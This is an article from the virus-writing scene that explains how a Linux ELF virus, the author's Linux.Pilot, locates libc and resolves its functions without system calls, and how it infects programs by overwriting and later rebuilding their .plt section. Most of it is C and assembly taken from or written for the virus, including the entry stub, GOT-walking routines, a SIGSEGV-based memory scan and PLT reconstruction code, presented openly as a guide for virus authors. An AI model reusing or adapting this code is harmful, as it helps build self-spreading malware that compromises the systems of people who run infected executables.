INT 0x80? No, thank you!
herm1t
INT 0x80? No, thank you! herm1t, 2007-21-11 Introduction After finishing the Lacrimae virus which is able to extend any section and thus import library functions, I spent some time thinking how an ordinary virus can use the libc or any other library. There are a lot of opportunities for the viruses having such a feature. Here I wish to present a method to do it, using test virus Linux.Pilot as an example. As late as in 2002 the grugq published a nice method of resolving symbols at run-time utilizing the pointer to the link_map structure, saved within program's GOT by dynamic linker [1]. As another BugTraq writer stated - this was known even earlier, but to my great surprise, I didn't saw any virus using this technique. My results were similar to the ones obtained by grugq, though I decided do not use link_map. There is a another method, more simple and independent of how lazy the dynamic linker is. Obtaining libc address We will make advantage of the fact that the dynamic linker and (most likely) the program are using libc. To obtain the base address of libc and, hence, the access to its functions and symbol table (to find function addresses) we will subsequently examine the contents of the global offset table in current process, dynamic linker and libc. The memory after loading the executable (and all its libraries) may look as follows: Lazy linking "Immediate" linking /lib/tls/libc.so.6 .text .text malloc: <------+ | libcfoo: <-----+ /lib/ld-linux.so.2 | .text | .text | _dl_runtime_resolve: <--+ | | | | .got.plt | | .got.plt | GOT[0]| | | | | | | GOT[1]| | | | | | | GOT[2]| | | | | | | GOT[3]| memalign | | | | memalign | | GOT[4]| malloc | --+ | | malloc | | | | Program | | .plt push GOT[1] | .plt | jmp GOT[2] | | .plt+16 | .plt+16 | libcfoo@plt: | | jmp GOT[3] | jmp GOT[3] | push 0 <----+ | | jmp .plt | | | .got.plt | | .got.plt | GOT[0]| .dynamic | | | | .dynamic | | GOT[1]| link_map | | | | | | GOT[2]| _resolve | -----|-----+ | 0 | | GOT[3]| libcfoo | -----+ | libcfoo | --+ The actions for each step are much the same: * Having arbitrary address within .text, find the base address + Align address to the page boundary + Do we have ELF header at this address? + No? Substract page size from address and check again. void *get_base(uint32_t addr) { addr &= ~4095; while (*(uint32_t*)addr != 0x464c457fUL) addr -= 4096; return (void*)addr; } * Find dynamic segment in PHT (entry with type PT_DYNAMIC) and the delta between file's lowest address and actual memory location void get_dyn_file_base(uint8_t *elf, Elf32_Dyn **dynamic, uint32_t *delta) { int i; Elf32_Phdr *phdr; uint32_t dyn, low = 0xffffffff; phdr = (Elf32_Phdr*)(elf + ((Elf32_Ehdr*)elf)->e_phoff); for (i = 0; i < ((Elf32_Ehdr*)elf)->e_phnum; i++) { if (phdr[i].p_type == PT_LOAD && low > phdr[i].p_vaddr) low = phdr[i].p_vaddr; if (phdr[i].p_type == PT_DYNAMIC) dyn = phdr[i].p_vaddr; } *delta = (uint32_t)elf - low; *dynamic = (Elf32_Dyn*)(dyn + *delta); } * Find GOT address in DYNAMIC (entry with type DT_PLTGOT) void *get_from_dyn(Elf32_Dyn *dynamic, uint32_t tag) { Elf32_Dyn *dyn; for (dyn = dynamic; dyn->d_tag != DT_NULL; ++dyn) if (dyn->d_tag == tag) return (uint32_t*)dyn->d_un.d_ptr; return NULL; } This is exactly what unwind function is doing: void unwind(uint32_t addr, uint32_t **got, Elf32_Dyn **dyn, uint32_t *delta) { get_dyn_file_base(get_base(addr), dyn, delta); *got = get_from_dyn(*dyn, DT_PLTGOT); printf("unwind: GOT=%08x DYNAMIC=%08x DELTA=%08x\n", *got, *dyn, *delta ); } To start "unwinding" the loaded elves we need the address of GOT. You can either call unwind for some adress within the current process and get the address of GOT, or the address of GOT could be saved in the subsequent virus generation by the infection routine. By repeating this sequence with GOT[2] as argument we will get base, dynamic, delta and got of the dynamic linker. Since it is using the libc itself, let's do it one more time for linker's GOT[4] and we will find those addresses of libc. Now, one could use the hash and dynamic symbol table to resolve the addresses of functions. I'm using here GOT[4], not GOT[3], because in older version of libc it was reserved. If the executable was started with LD_BIND_NOW (all addresses were resolved before starting the program), run the unwind function once for any libc' GOT entry in the current process. For the sake of simplicity Linux.Pilot doesn't check if the GOT entry really intended to be filled with address of libc function, while one may find the __libc_start_main's GOT entry (just to be sure). Consider the following example: int main(int argc, char **argv, char **envp) { uint32_t *got, delta; Elf32_Dyn *dyn; unwind((uint32_t)main, &got, &dyn, & delta); if (got[2]) unwind(got[2], &got, &dyn, & delta); unwind(got[4], &got, &dyn, d); Elf32_Sym *dynsym; char *dynstr; uint32_t *hash; void (*printf_ptr)(char*,...); dynsym = (Elf32_Sym*)get_from_dyn(dyn, DT_SYMTAB); dynstr = get_from_dyn(dyn, DT_STRTAB); hash = get_from_dyn(dyn, DT_HASH); printf_ptr = (void(*)(char*,...))(lookup("printf", hash, dynsym, dynstr ) + delta); printf_ptr("Hello, world! printf = %08x\n", (uint32_t)printf_ptr); } The lookup returns the st_value field from the matched dynamic symbol table entry. [2] The output of the sample program on the prelinked system may look like this: $ ./a.out unwind: GOT=08049914 DYNAMIC=08049848 DELTA=00000000 unwind: GOT=0052afb4 DYNAMIC=0052aef4 DELTA=00000000 unwind: GOT=0021fff4 DYNAMIC=0021fd1c DELTA=00000000 Hello, world! printf = 00142810 $ export LD_BIND_NOW=1 && ./a.out unwind: GOT=08049914 DYNAMIC=08049848 DELTA=00000000 unwind: GOT=0021fff4 DYNAMIC=0021fd1c DELTA=00000000 Hello, world! printf = 00142810 That's how we can obtain the addresses of functions within libc without single syscall. The above functions in assembler: unwind: push eax call get_base xchg eax, edi push edi call get_dyn_file_base ; or eax, eax ; jz fail xchg eax, esi sub edi, edx add esi, edi push DT_PLTGOT push esi call get_from_dyn ; or eax, eax ; jz fail xchg eax, ecx ret ; get_base(addr) - return base address of the loaded ELF file get_base: mov eax, [esp + 4] and ax, 0xf000 .loop: cmp dword [eax + 0], 0x464c457f jne .next ; cmp dword [eax + 4], 0x00010101 ; jne .next retn 4 .next: sub eax, 4096 jmp .loop ; get_from_dyn(DYNAMIC, tag) - return the DYNAMIC entry with given tag get_from_dyn: push esi cld mov esi, [esp + 8] .loop: lodsd or eax, eax jz .done cmp eax, [esp + 12] je .done lodsd jmp .loop .done: lodsd pop esi retn 8 ; uint64_t get_dyn_file_base(elf_file) return VA of DYNAMIC and lowest VA in EL F file get_dyn_file_base: pusha mov esi, [esp + 36] movzx ecx, word [esi + e_phnum] add esi, [esi + e_phoff] xor eax, eax cdq dec edx .loop: mov ebx, [esi + p_type] cmp ebx, PT_LOAD jne .more cmp [esi + p_vaddr], edx jae .more mov edx, [esi + p_vaddr] .more: cmp ebx, PT_DYNAMIC jne .next mov eax, [esi + p_vaddr] .next: add esi, 32 loop .loop inc edx jz .fail dec edx .fail: mov [esp + 28], eax mov [esp + 20], edx popa retn 4 Since Linux.Pilot is a cavity infector which replaces the .plt section with iself, it doesn't need the first call to unwind. It will grab the GOT+8 address from the PLT directly: _plt: push dword [_GLOBAL_OFFSET_TABLE_ + 4] jmp dword [_GLOBAL_OFFSET_TABLE_ + 8] dd 0 ; virus begins from the first PLT entry ; calculate the address of virus and substract eight from it ; to fetch the GOT+8 offset from the jmp instruction above main: pusha call .l0 .l0: pop ebp sub ebp, (.l0 - main) ; instead of this mov ebx, [ebp - 8] ; GOT + 8 ; you may use unwind here: ; mov eax, ebp ; call unwind ; lea ebx, [ecx + 8] mov eax, [ebx] ; GOT[2] - _dl_ runtime_resolve or eax, eax jnz .lazy ; address is empty, LD_BIND_NOW is set? ; use GOT[4], hope that this is libc... ; this should be checked mov eax, [ebx + 8] jmp .bnow .lazy: call unwind mov eax, [ecx + 16] ; GOT[4] - addr ess of libc' function .bnow: call unwind ; within interp ; now we have ; esi - libc' DYNAMIC ; edi - libc' delta ; ecx - libc' GOT ... Brute force The address of the loaded ELF files could be found by brute force search. We can install signal handler to catch the SIGSEGV (which will raise on invalid memory references) and look through the whole address space of the process. Since libc library is larger than 1Mb we can increase the step of the search to fasten the search. The code below will work both on 2.4 and 2.6: ; compile with nasm -f elf search.asm -o search.o; gcc search.o -o search BITS 32 CPU 386 global main extern signal,printf section .text main: pusha ; push segv ; push 11 ; call signal ; add esp, 8 push sret push 0x4000000 push 0 push segv mov eax, 67 ; sigaction mov ebx, 11 mov ecx, esp mov edx, 0 int 0x80 add esp, 16 xor eax, eax .next: mov edx, [eax] ; BANG! mov ebx, eax and eax, 0xfffff000 .down: cmp dword [eax], 0x464c457f je .found sub eax, 0x1000 jmp .down .found: push eax push format call printf pop eax pop eax mov eax, ebx .up: add eax, 0x1000 mov ecx, [eax] jmp .up .done: popa ret segv: mov eax, [esp + 0x34] add dword [esp + 0x34], 1048576 cmp [esp + 0x34], eax jb .done mov dword [esp + 0x40], main.next ret .done: mov dword [esp + 0x40], main.done ret db 0 align 8 sret: pop eax mov eax, 119 ; sigreturn int 0x80 section .data format db 'Found ELF at %08x',10,0 The only thing that is left (as an excercise to the reader) is to check whether the found ELF is indeed the libc, one can do that, for example, by checking the DT_SONAME field in the dynamic segment or by other means. Teaching old ELFs new tricks And a few words about PiLoT's infection routine. It is using the fact that you can replace any loadable section which does not take part in the process of execution and linking of the file. The virus can move (or compress) the .text section and restore it on exit. This virus doing the same with Procedure Linkage Table (.plt section). Nice thing about PLT is that you don't need to save its contents only a few constants. Let's look to it closer (this is /bin/ps from my system, address of GOT (Global Offset Table) is 080570e8): 08048e58 8048e58: ,--->ff 35 ec 70 05 08 pushl 0x80570ec ; GOT[1] addres s of link_map 8048e5e: ||| ff 25 f0 70 05 08 jmp *0x80570f0 ; GOT[2] addres s of resolve ||| 08048e68 <sigfillset@plt>: 8048e68: ||| ff 25 f4 70 05 08 jmp *0x80570f4 ; GOT + 12 8048e6e: ||| 68 00 00 00 00 push $0x0 ; 0 8048e73: ||`--e9 e0 ff ff ff jmp 8048e58 || 08048e78 <getgrnam@plt>: 8048e78: || ff 25 f8 70 05 08 jmp *0x80570f8 ; GOT + 16 8048e7e: || 68 08 00 00 00 push $0x8 ; 8 8048e83: |`---e9 d0 ff ff ff jmp 8048e58 | 08048e88 <readproctab2@plt>: 8048e88: | ff 25 fc 70 05 08 jmp *0x80570fc ; GOT + 20 8048e8e: | 68 10 00 00 00 push $0x10 ; 16 8048e93: `----e9 c0 ff ff ff jmp 8048e58 ... Note, that addresses of the GOT entries (jmp *0x?) and offsets in the relocation table (push $0x0) are sorted, and the jump and the end of each function helper is pointing to the beginning of PLT, so you can build PLT table for the given executable from scratch having only the address of GOT. To be sure, PiLoT memorizes values of GOT pointer and offset in relocation table, the number of entries in the table and checks that these values are increasing with the given step. This check could be implemented as follows: uint32_t gotp, orel; gotp = orel = 0; for (i = 16; i < psz; i += 16) { if (gotp != 0) { if (*(uint32_t*)(plt + i + 2) - gotp != 4) goto failed; if (*(uint32_t*)(plt + i + 7) - orel != 8) goto failed; } gotp = *(uint32_t*)(plt + i + 2); orel = *(uint32_t*)(plt + i + 7); } Where plt is the pointer to the .plt section and psz its size. The virus must restore the PLT before the main program starts to invoke library functions and since the program itself is started by __libc_start_main() this method is incompatible with EPO. To restore the PLT virus should allocate memory for itself, jump there and reconstruct the table: ; restore .plt mov eax, ebp ; ebp is .plt + 16 and ax, 0xf000 push PROT_READ|PROT_WRITE push 4096 push eax call mprotect mov edx, dword 0x08049000 ; first pointer to GOT first_got equ $-4-main mov esi, dword 0x00000000 ; first offset in .rel.plt first_rel equ $-4-main mov eax, dword 0xffffffe0 ; jump mov edi, ebp mov ecx, dword 1 plt_count equ $-4-main .fix: push eax mov ax, 0x25ff stosw mov eax, edx stosd mov al, 0x68 stosb mov eax, esi stosd mov al, 0xe9 stosb pop eax stosd sub eax, 16 add esi, 8 add edx, 4 loop .fix mov byte [esp + 8], PROT_READ|PROT_EXEC call mprotect add esp, 12 Comments are welcome. <[1]herm1t@vx.netlux.org> References 1. the grugq "More ELF buggery...", May, 2002, http://seclists.org/bugtraq/2002/May/0249.html 2. herm1t "Hashing the elves", Oct 2007